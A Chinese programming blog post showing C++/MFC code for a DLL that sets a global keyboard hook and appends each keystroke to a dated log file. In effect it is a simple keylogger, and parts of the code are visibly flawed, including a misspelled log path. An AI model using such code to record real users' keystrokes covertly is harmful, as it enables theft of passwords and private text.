创建记录键盘动作的全局钩子DLL
来源:互联网 发布:山东百杰网络工程学院 编辑:程序博客网 时间:2024/05/20 11:51
Hookkey中:
在Hookkey.h文件中:
#define DllExport __declspec(dllexport)
DllExport void WINAPI OutEv();//声明导出函数
在实现文件中:
#include"Hookkey.h"
HHOOK Hook;
LRESULT CALLBACK Hookkey(int nCode,WPARAM wParam,LPARAM lParam);
void Savekey(char* c);
LRESULT CALLBACK Hookkey(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
char c[1];
c[0]=wParam;
Savekey(c);
}
}
return Result;
}
void Savekey(char* c)
{
CTime tm=CTime::GetCurrentTime();
CString name;
name.Format("c://Program Fils//Key_%d_%d.log",tm.GetMonth(),tm.GetDay());//不知道地址有没有写错
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
DllExport void WINAPI OutEv()
{
Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)Hookkey,theApp.m_hInstance,0);
}
在UseHookkey中:
已经将KeyHook.lib添加到project的link中,并且KeyHook.h .lib都已经复制到工程目录下, .dll复制到debug下
#include"KeyHook.h"
void CUseKeyHookView::OnInitialUpdate()
{
CEditView::OnInitialUpdate();
OutEv();
}
- 创建记录键盘动作的全局钩子DLL
- VC++实现监视系统的键盘操作 创建记录键盘动作的全局钩子DLL
- VC++实现监视系统的键盘操作(2) 创建记录键盘动作的全局钩子DLL
- Windows全局钩子dll(键盘)
- Windows全局钩子dll(键盘)
- .NET的全局键盘钩子
- 键盘"全局钩子"的使用 ..
- 不使用DLL创建全局系统钩子
- 用全局钩子截掉所有进程的鼠标和键盘 DLL的调试方法
- 在使用一个全局底层键盘钩子dll时遇到的问题
- 钩子函数-建立键盘鼠标动作记录与回放
- C#做的全局鼠标/键盘钩子
- C#做的全局鼠标/键盘钩子
- VC实现的全局键盘钩子
- HOOK全局键盘钩子
- VC全局键盘钩子
- 全局键盘钩子
- 全局键盘钩子
- 极简约版正大数加法
- typedef 和#define定义别名的区别
- Closure Compiler 高级模式及更多思考
- Linux的ROOT密码忘记的解决办法
- 文件服务器监控之File System Auditor
- 创建记录键盘动作的全局钩子DLL
- nginx 集群配置 nginx 反向代理配置 nginx php 集群
- bb_ant_tools.jar 使用示例
- nginx upstream的几种配置方式
- 安装OpenCV
- Ubuntu10.10 安装低版本的gcc和g++编译器
- Ubuntu 10.10 单网卡多IP设置
- http网页报错列表
- Java实现杨辉三角